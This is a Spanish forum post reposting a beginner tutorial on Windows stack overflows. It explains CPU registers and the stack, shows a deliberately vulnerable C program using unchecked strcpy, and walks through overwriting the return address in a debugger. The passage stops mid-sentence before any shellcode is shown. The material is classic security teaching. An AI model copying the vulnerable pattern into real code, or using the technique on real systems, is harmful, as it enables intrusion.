| Inicio | Noticias | Foros PSP | Juegos | Videos | Manuales | Buscar | Contacto | Staff | Publicidad |

Retroceder   Foros PS Vita y PSP > Foros PSP > Tutoriales PSP

Respuesta
 
Herramientas
Antiguo 04/04/06, 21:03:33   #1
empaty
Senior Member
 
Avatar de empaty
 
Fecha de Ingreso: mar 2006
Mensajes: 360
Thanks: 0
Thanked 1 Time in 1 Post
empaty por el buen camino
Predeterminado [TUTORIAL]EXPLOITS Y STACK OVERFLOWS EN WINDOWS

A ver, antes de que salteis a por mi, quiero aclarar una cosa. ESTE TUTORIAL NO LO HE HECHO YO, NI ME ATRIBUYO NINGUN MERITO POR PONERLO APARTE.
Este tutorial lo ha colgado otro usuario del foro, su nombre es: Scanf. Lo pongo en este hilo aparte ya que creo que se lo merece, ya que en ese hilo pasa un poco "desapercibido". Quiero dar las gracias a Scanf por este magnifico tutorial

*****************************************
* EXPLOITS Y STACK OVERFLOWS EN WINDOWS *
* Rojodos rojodos2[at]yahoo[dot]es *
*****************************************

Naaas Smile

Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows,
que parece algo místico, y que cada dos por tres un script kiddie pregunta en el
foro como compilar un exploit, como funciona un exploit o donde encuentro un
exploit, me he decidido a hacer un taller de buffers overflows y exploits, en
Windows Smile

También veremos como crear una shellcode muy muy básica, muy explicadita, para
que se entienda perfectamente.

Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante
parecidos, en Linux la cosa cambia en muchos aspectos.

Este documento esta basado en muchos que hay por la red, los cuales están al
final del mismo, y de la aportación de muchos usuarios en diversos foros, listas
de correo y como no, de exploits.

Es mi primer texto "en serio", además es bastante largo, y aunque creo que no
contiene errores muy graves, puede tenerlos Razz cualquier fallo del texto,
comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo Smile
(abstenerse gilipolleces)

Vamos al tema Smile

-== INTRODUCCION ==-

La teoría sobre el tema la iremos viendo según avance el documento, aunque antes
de nada, haremos unas definiciones muy simples. La idea de dichas definiciones
es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente
que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar
por Internet mucha mas información (sobre todo lo referente a programar en C/C++
y ASM)

- C/C++

Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la
base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de
boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y
*.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más
útil.

- Ensamblador (ASM)

Es el lenguaje más "básico" que permite al programador interactuar con el CPU.
Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es
decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad).
Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los
saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de
programación, a la hora de compilar (obviamente, los lenguajes de script no),
convierten su código en instrucciones ASM.

Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T,
seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de
aprender, solo para cosas puntuales o que requieran una gran optimización, pero
saberlo te dará muchas alegrías Smile Cualquier informático debería poder entender
y dominar las instrucciones básicas.

- Debugger (Depurador)

Un debugger es un programa que permite ir "paso a paso", instrucción a
instrucción a otro programa. Al ir instrucción a instrucción, podemos ver
completamente que esta pasando, los registros, la memoria, etc, así como muchas
mas funciones muy interesantes. Su función principal es la de auditar código, y
ver el porque falla (o simplemente porque no realiza lo que queremos que haga),
es una herramienta imprescindible para cualquier programador. Lo que pasa que
también puede servir para otras cosas Smile

- Dissasembler (Desamblador)

Un desamblador es un programa que te muestra el código de un programa, una dll,
lo que sea que este hecho de código que el desamblador entienda. Normalmente, te
muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la
conversión de dichas instrucciones C en ASM), aunque hay desambladores que
permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por
ejemplo.

Normalmente, debugger y dissasembler van en el mismo programa, los mas usados
son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm...

- Hex Editor (Editor Hexadecimal)

No hay que confundir un dissasembler con un hex editor. El primero te muestra el
código de un programa, el hex editor simplemente te muestra el contenido de un
archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la
posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y
modificar archivos que usan programas, tanto para fines "de programación" (el
porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de
"hacking" o "cracking".

A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores Razz
Cuestión de buscar.

- La CPU (microprocesador)

La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de
ejecutar las instrucciones de un programa o sistema operativo, instrucción a
instrucción, que estén en una determinada área de memoria. Se ayuda de registros
donde almacena variables, datos o direcciones. Una explicación completa sobre el
tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima
información.

- Registros de la CPU.

La cpu (microprocesador) contiene una serie de registros, donde almacena
variables, datos o direcciones de las operaciones que esta realizando en este
momento. El lenguaje ASM se sirve de dichos registros como variables de los
programas y rutinas, haciendo posible cualquier programa (de longitudes
considerables, claro). Los más interesantes son:

EIP Extended Instruction Pointer.

El registro EIP siempre apunta a la siguiente dirección de memoria que el
procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una
detrás de la otra, salvo que dicha instrucción requiera un salto, una
llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto,
ejecutando las instrucciones en la dirección que especificaba el salto. Si
logramos que EIP contenga la dirección de memoria que queramos, podremos
controlar la ejecución del programa, si también controlamos lo que haya en esa
dirección.

EAX, EBX... ESI, EDI...

Son registros multipropósito para usarlo según el programa, se pueden usar de
cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada
uno tiene funciones "especificas" según las instrucciones ASM del programa:

EAX:
Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en
EAX. También se usa para sumar valores a otros registros en funciones de suma,
etc....

EBX

Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones
de memoria (para luego sumarles un offset) etc...

ECX

Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador,
cuando ECX llega a cero, el loop se acaba.

EDX

Registro dirección o puntero. Se usa para referenciar a direcciones de memoria
mas el offset, combinado con registros de segmento (CS, SS, etc..)

ESI y EDI

Son registros análogos a EDX, se pueden usar para guardar direcciones de
memoria, offsets, etc..

CS, SS, ES y DS

Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se
suelen usar Registro+Offset para direccionar a una dirección concreta de
memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que
esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de
datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de
memoria, y un largo etc...

ESP EBP

Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en
profundidad cuando explique la pila.
Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP).
ESP siempre contiene la dirección del inicio de la pila (la cima) que esta
usando el programa o hilo (thread) en ese momento. Cada programa usara un
espacio de la pila distinto, y cada hilo del programa también. EBP señala la
dirección del final de la pila de ese programa o hilo.

- ¿Que es una vulnerabilidad?

Una vulnerabilidad es un fallo que compromete la seguridad del programa o
sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un
bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque
vaya lento, a un programa que funciona mal al intentar hacer una división por 0.
Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o
el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el
sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.

- ¿Que es un exploit?

Un exploit es un código, un "método", un programa, que realiza una acción contra
un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un
beneficio de la misma. Dicho beneficio normalmente es la ejecución de código
(dentro de ese programa, con los privilegios del mismo) que nos beneficia,
dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un
usuario administrador al sistema, o incluso lo único que hacen es detener el
servicio o el sistema, según nuestros propósitos.

Habría que distinguir entre exploits "completos" (los que están completamente
funcionales) y los POCs (proof of concept) que son exploits que demuestran que
dicha vulnerabilidad existe y que es explotable, pero que no dan ningún
beneficio o el beneficio es mínimo. Normalmente se usan estos últimos para
evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos
(supongo que se acuerdan del blaster o del sasser, se liberaron los exploits
completamente funcionales)

- ¿Que es una shellcode?

Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta
los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en
windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve
para añadir un usuario a la cuenta del sistema, para descargar un troyano y
ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el
código que ejecutara el programa vulnerable una vez tengamos su control. No es
nada difícil de programar sabiendo ASM básico y como funciona tu SO.

Una vez programada en ASM (para testearla, por ejemplo, además de que es mas
fácil programarla en ASM que directamente con opcodes Razz), se pasa a un string,
compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas
instrucciones ASM. Lo veremos mas adelante Smile

- ¿Que es un overflow?

Un overflow es, básicamente, cuando resguardamos espacio de memoria insuficiente
para una variable (allocate), y le introducimos más datos a dicha variable de
los que puede soportar. La variable "desborda", y los datos que no caben
sobrescriben memoria continua a dicha variable. Si declaramos una variable que
solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se
pierden, sino que sobrescriben la memoria contigua a dicha variable.

Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también
llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya
lo veremos en algún otro texto, se refiere a desbordar una variable declarada en
el heap en vez de en la pila...), format string overflow (bugs de formato de las
cadenas de texto), integer overflow (debidos a declaraciones de variables con un
espacio mínimo o negativo que proveemos nosotros...), etc...

- ¿Porque se le llama Stack Overflow?

La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en
entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y
quitar libros por la "cima" de la pila, por donde los añades. El libro de mas
"abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar
uno del medio, se puede desmoronar.

Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en
una pila para manejar las variables locales de un programa, los retornos (rets)
de las llamadas a una función (calls), las estructuras de excepciones (SEH,
en Windows), argumentos, variables de entorno, etc...

Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos,
se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y
luego se llama a la función.

Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en
la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma.

Bien, una "llamada" a una función o dirección de memoria, se hace con la
instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro
(llama a lo que contenga ese registro). El registro EIP recoge dicha dirección,
y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a
esa dirección.

Pero antes, el sistema debe saber que hacer cuando termine la función, por donde
debe seguir ejecutando código.
El programa puede llamara la función suma, pero con el resultado, hacer una
multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe
saber por donde seguir la ejecución una vez terminada la función suma.

Para eso sirve la pila Smile Justo al ejecutar el call, se GUARDA la dirección de
la siguiente instrucción en la pila.
Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de
"retorno" al programa principal (o a lo que sea).

Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la
suma, se produce la suma y, como esta guardada la dirección por donde iba el
programa, VUELVE (RETORNA) a la dirección de memoria que había guardada
en la pila (el ret), es decir, a la dirección siguiente del call.

Vamos a verlo por pasos Smile

1º Llegamos al call (EIP apunta a la instrucción call)
2º Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde
debemos ir)
3º Se guarda la siguiente instrucción después del call en la pila (el ret)

En ese momento, la pila esta así:
ESP | RET ADDRESS | EBP -8bytes
ESP +4bytes | argumento 1 | EBP -4bytes
ESP +8bytes | argumento 2 | <--- EBP apunta aquí (la base de la pila)

4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente,
dentro de la función suma se usara la pila para almacenar datos y demás...)
5º La función suma alcanza la instrucción RETN (retorno), y EIP recoge la
dirección RET ADDRESS, y vuelve al programa principal, justo después del call
suma.

Espero que se entienda, es muy importante, ya que un stack overflow significa
introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret
address, pero eso lo veremos mas adelante.

Imaginaos que al hacer ese call, dentro de la función suma necesitamos un
espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que
sea.

Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s,
un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila
(no entraremos en temas de heap).

Básicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima
y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir
los variables y valores que ya haya en la pila, de otras funciones o programas.

Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber
DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto
también es importante, es el EBP salvado del proceso anterior. Cuando la función
suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el
"trozo" de pila del proceso principal.

Ahora mismo, la pila esta así:

ESP | EBP anterior salvado | EBP - 4
ESP +4bytes | RET ADDRESS | <---- El EBP actual apunta aquí
ESP +8bytes | argumento 1 de suma | EBP +4
ESP +12bytes | argumento 2 de suma | EBP + 8

Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de
espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y
EBP son esos bytes, donde irán nuestros datos (nombre, datos, lo que sea). Por
ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con
múltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP
12 bytes:

ESP | basura, aun no hay nada inicializado| EBP -16
ESP +4 | basura | EBP -12
ESP +8 | basura | EBP -8
ESP +12 | EBP anterior salvado | EBP -4
ESP +16 | RET ADDRESS | EBP (el EBP no cambia)
ESP +20 | argumento 1 de suma | EBP +4
ESP +24 | argumento 2 de suma | EBP +8

Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que
había antes ahí, de anteriores usos de la pila, pero que no nos sirven) para
nuestro nombre o lo que sea, de 12 bytes.

Pero, si esos bytes no son suficientes, al introducir nuestro nombre por
ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos
14, los 2 bytes que sobran, sobrescribirán la memoria contigua a la declarada en
la variable, es decir, sobrescribirán el EBP de la anterior función, si metemos
4 lo sobrescribiremos completamente:

Introducimos AAA...A (16 As) para ver que pasa (esto no se haría con push, que
aumentan ESP, sino con instrucciones MOV)

ESP | AAAA | EBP -16
ESP +4 | AAAA | EBP -12
ESP +8 | AAAA | EBP -8
ESP +12 | (EBP anterior salvado sobrescrito) AAAA | EBP -4
ESP +16 | RET ADDRESS | EBP
ESP +20 | argumento 1 de suma | EBP +4
ESP +24 | argumento 2 de suma | EBP +8

Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos
interesa Smile

Bien, pasemos a la práctica real, donde se vera todo mucho mejor explicado Smile

-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-

Hache esta el típico típico típico código de stack overflow. Cualquiera que haya
leído un doc sobre buffer overflow, habrá visto un código semejante (sino igual)
a este.

Y, como todos los tutoriales sobre programación empiezan con el "Hola Mundo", yo
empezare con el código típico vulnerable Smile

El código esta comentado (//) para que entendáis cada línea:

/* vuln1.c por Rojodos */

#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida

int main (int argc, char **argv){ // La función "principal" del programa
función
char buffer[64]; //Declaramos un array con 64 bytes de espacio
if (argc < 2){ // Si los argumentos son menores que 2...
printf ("Introduzca un argumento al programa\n"); //Printeamos
return 0; // y retornamos 0 a la función main, y el programa acaba
}
strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

return 0; // Devolvemos 0 a main, y el programa acaba.
}


El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido
por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer
solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la
fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por
argumentos al programa le podemos meter lo que queramos.

Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp
o Visual C++), generamos el archivo vuln1.exe

Al ejecutarlo en una consola MSDOS así:

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....

Os saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe
cerrarse. Si pincháis en "Para ver los datos de los errores, haga click aquí",
veréis que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en
www.asciitable.com). Es decir, hemos sobrescrito la dirección de retorno de MAIN
() (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en
la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que
la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la
pila) con AAAA --> 41414141 Smile

Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en
www.elhacker.net lo encontraras fácilmente, o en su pagina principal, googlead
un poco)

Usar un debugger, y mas el olly, es realmente fácil, no tiene ningún misterio.
Si alguien se cree que es una herramienta para "elites" y súper difícil de usar,
esta completamente equivocado.

Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veréis que
salen un montón de instrucciones en la ventana principal, con la dirección
relativa de código inicial de 00401000. Esta dirección es la dirección base del
ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa
dirección) mas el offset señalado en el PE header, que indica donde empieza el
código (entry point, en este caso el offset es +1000h).

También deberíais ver a vuestra derecha, el estado de los registros de la CPU,
EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la
izquierda, deberíais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo
a la derecha, la pila (stack). Ahí tenéis que tener la vista casi fija Smile

Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS, pero que no
sale nada, no os preocupéis, el programa esta cargado en memoria, pero no se
esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs
que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos
ahí). Os dirá que tenemos que resetear el programa para que los argumentos
tengan efecto (nos vamos a Debug-> Restart). Y listo Smile

Le damos a RUN (Debug -> Run ó F9) y....

Access violation when executing [41414141]

Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha
tratado de ejecutar lo que hay en la dirección "AAAA" Smile

Vamos a ver esto un poco mas "pausado", para ver como funciona realmente.

Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial
(los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta
vez vamos a poner un breakpoint en la función de strcpy, para ver en directo
que esta pasando.

Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la
ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria
donde hemos puesto el BP), se pare la ejecución (NO SE EJECUTA LA INSTRUCCION
SEÑALADA CON EL BP), para echar un vistazo, a ver que esta pasando Smile

Bajamos un poco por el código, hasta que encontramos algo así:

004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =
"Introduzca un argumento al programa"
004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; \printf
004012D7 |. 83C4 10 ADD ESP,10
004012DA |. EB 17 JMP SHORT vuln1.004012F3
004012DC |> 83EC 08 SUB ESP,8
004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004012E2 |. 83C0 04 ADD EAX,4
004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src
004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
004012EA |. 50 PUSH EAX ; |dest
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy
004012F0 |. 83C4 10 ADD ESP,10


Os explico antes de nada, que es cada "cosa". 004012XX es la dirección relativa
de memoria donde esta el ejecutable.

Es decir, su dirección relativa en la RAM. Como ya he dicho, todos los
ejecutables cargados en memoria, empiezan en 00400000+offset del entry point
(que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del
código del programa es 00401000h). EIP va cogiendo cada dirección, una detrás de
otra, y la CPU ejecuta la instrucción contenida en esa dirección.

68 80124000 --> Son los "opcodes" de la instrucción ASM, mas o menos como decir
que es la instrucción ASM “convertida” en hexadecimal (mas bien de binario
01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos
vendrá bien para que hagamos nuestra shellcode Smile

PUSH vuln1.00401280 --> instrucciones en ASM, en este caso esta introduciendo
en la pila la dirección del ejecutable (sección .data) donde esta el string
"Introduzca un..."

Lo demás, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas
introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL
<JMP.&msvcrt.printf> ; \printf), etc....

Bien, el printf ese, es el código que se ejecuta si no le metemos argumentos al
programa, no nos tiene porque interesar (es el código que se ejecuta cuando no
metemos argumentos al programa)

Pero si esto:

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy
004012F0 |. 83C4 10 ADD ESP,10

Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.dll,
donde esta la función C strcpy) y si os fijáis, la siguiente dirección a
ejecutar es 004012F0 ADD ESP,10. Cuando se produzca el Call strcpy, se
pusheara en la pila 004012F0, que es la dirección de retorno (ret address).

Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsáis con el ratón
en esa dirección, y pulsáis F2. Se tendría que iluminar de rojo esa dirección.

Pues tras ponerle el BP, le damos a RUN (F9)

El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora,
aparte de rojo, aparece con un cuadro negro la dirección de memoria, significa
que esa es la siguiente dirección a ejecutar). Por si no nos ha quedado claro,
EIP marca precisamente esa dirección, 004012EB

¿Que hay en la pila?

0022FF00 0022FF28 |dest = 0022FF28
0022FF04 003D24A3 \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs)
AAAAAAAAAAAAAAAA"

ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la dirección de
la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y
"src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28.
Esta referenciado por 003D24A3, que precisamente es la dirección de argv[1],
donde comienza la cadena "AAAAA....".
Sigamos.

Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin
embargo, vemos algo así:

0022FF28 |FFFFFFFF <-- Empiezan los 64 bytes reservados para buffer, es basura
0022FF2C |77BFAB33 RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD <-- Basura
0022FF30 |77C09348 RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura
0022FF34 |003D25A8 <-- Basura
0022FF38 |003D2470 <-- ..
0022FF3C |0000000C <-- ...
0022FF40 |77C08A55 RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura
0022FF44 |004D7EF9
0022FF48 |0012D548
0022FF4C |7FFDF000 <-- Todo esto hasta abajo siguie siendo basura
0022FF50 |000000ED
0022FF54 |00000003
0022FF58 |0022FF60
0022FF5C |77BEE921 RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura
0022FF60 |0022FFA0
0022FF64 |004010C0 RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs>
0022FF68 |00403000 vuln1.00403000 <-- basura...
0022FF6C |00403004 vuln1.00403004 <--- AQUI terminan los 64 bytes reservados
para buffer (incluido)
0022FF70 ]0022FFA0 <-- EBP salvado del anterior proceso (main)
0022FF74 |00401170 RETURN to vuln1.00401170 from vuln1.004012A6 <-- dirección
de retorno de main()


Si os fijáis, justo debajo de donde terminan los 64 bytes reservados para buffer
(todo lo que hay es basura, de anteriores funciones y tal, que no se van a
volver a usar), esta el EBP anterior salvado (el EBP de la función main,
la base de SU pila) y debajo esta la dirección de retorno de la función main.
Veis que esta en la dirección 0022FF74, y que apunta a la instrucción 00401170.
Cuando la función main() del programa termina, se ejecuta lo que haya en
esa dirección.

¿Y que hay ahí?

00401170 |. 89C3 MOV EBX,EAX ; |
00401172 |. E8 59180000 CALL <JMP.&msvcrt._cexit> ;
|[msvcrt._cexit
00401177 |. 891C24 MOV DWORD PTR SS:[ESP],EBX ; |
0040117A \. E8 51190000 CALL <JMP.&KERNEL32.ExitProcess> ;
\ExitProcess

Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API
ExitProcess dentro de Kernel32.dll, el programa termina.

¿Fácil no?

Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir
saltando por la DLL (lo que haría seria ir instrucción por instrucción de como
trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el
CALL), le damos a F8, que "salta" a la siguiente instrucción sin entrar en el
CALL. (Es decir, el call se ejecuta así como todas las instrucciones que
conlleva, pero nosotros no lo vemos, el programa se para justo después de
terminar la función strcpy). Si pulsáis F9 (Run), el programa terminara con el
fallo famoso, y no veremos nada, así que pulsad F8.

Ahora se ha ejecutado la función strcpy, se han copiado todas las AAAs al
buffer, y estamos justo debajo de la llamada a Strcpy():


004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy
004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí

EIP apunta a 004012F0, es la siguiente instrucción que se va a ejecutar.

Miremos la pila:


0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs)
AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10 77BE2048 msvcrt.77BE2048
0022FF14 0022FEF8
0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA"
0022FF20 77C03EB0 msvcrt._except_handler3
0022FF24 00000000
0022FF28 41414141 <-- Aqui empieza la variable buffer
0022FF2C 41414141
0022FF30 41414141
0022FF34 41414141
0022FF38 41414141
0022FF3C 41414141
0022FF40 41414141
0022FF44 41414141
0022FF48 41414141
0022FF4C 41414141
0022FF50 41414141
0022FF54 41414141
0022FF58 41414141
0022FF5C 41414141
0022FF60 41414141
0022FF64 41414141
0022FF68 41414141
0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A
partir de aquí hemos hecho el overflow.
0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con
AAAA
0022FF78 41414141
0022FF7C 41414141
0022FF80 41414141
0022FF84 41414141

Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del
strcpy:

0022FF00 0022FF28 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"

La direccion 0022FF00 contiene la dirección de la pila (0022FF2 donde empieza
la variable buffer, donde empiezan todas nuestras AAAAs...

0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"

La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la
variable argv[1], donde están las AAAs que introducimos por argumento al
programa.

0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs)
AAAAAAAAAAAA"

La dirección 0022FF08 contiene la dirección del antiguo EBP del main, que ahora
esta sobrescrito con AAAAs...

Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la
dirección de retorno del main (), la que llamaba a finalizar el proceso (Hemos
sobrescrito mucho más Razz, pero bueno.... así se ve mejor).

¿Eso que quiere decir?

Si vemos nuestro programita principal, justo después del call (la ejecución ha
vuelto al programa principal):


004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy
004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí parados (EIP =
004012F0)
004012F3 |> B8 00000000 MOV EAX,0
004012F8 |. C9 LEAVE
004012F9 \. C3 RETN <-- cuando llegue aquí....

Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale
41414141, ya que era la "base" de la pila del anterior proceso, en este caso
main() (se salva para delimitar los "trozos" de pila que corresponden a cada
función, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al
LEAVE y que ahora apunta a 0022FF74.

0022FF74 41414141 <--- Antigua dirección del ret del main () A partir de aquí
hemos hecho el overflow.

Al ejecutar el RETN, EIP "recogerá" la dirección que apunta ESP (0022FF74) que
debería ser la dirección de la llamada a ExitProcess(), pero que en este caso es
41414141 porque la hemos sobrescrito.

La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento
de usuario, y petara Smile

Un bonito overflow de pila, normal y corriente Smile

-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-

¿Bien, y todo esto para que nos sirve?

Bueno, y ¿si hubiéramos sobrescrito la dirección del retorno de main con la
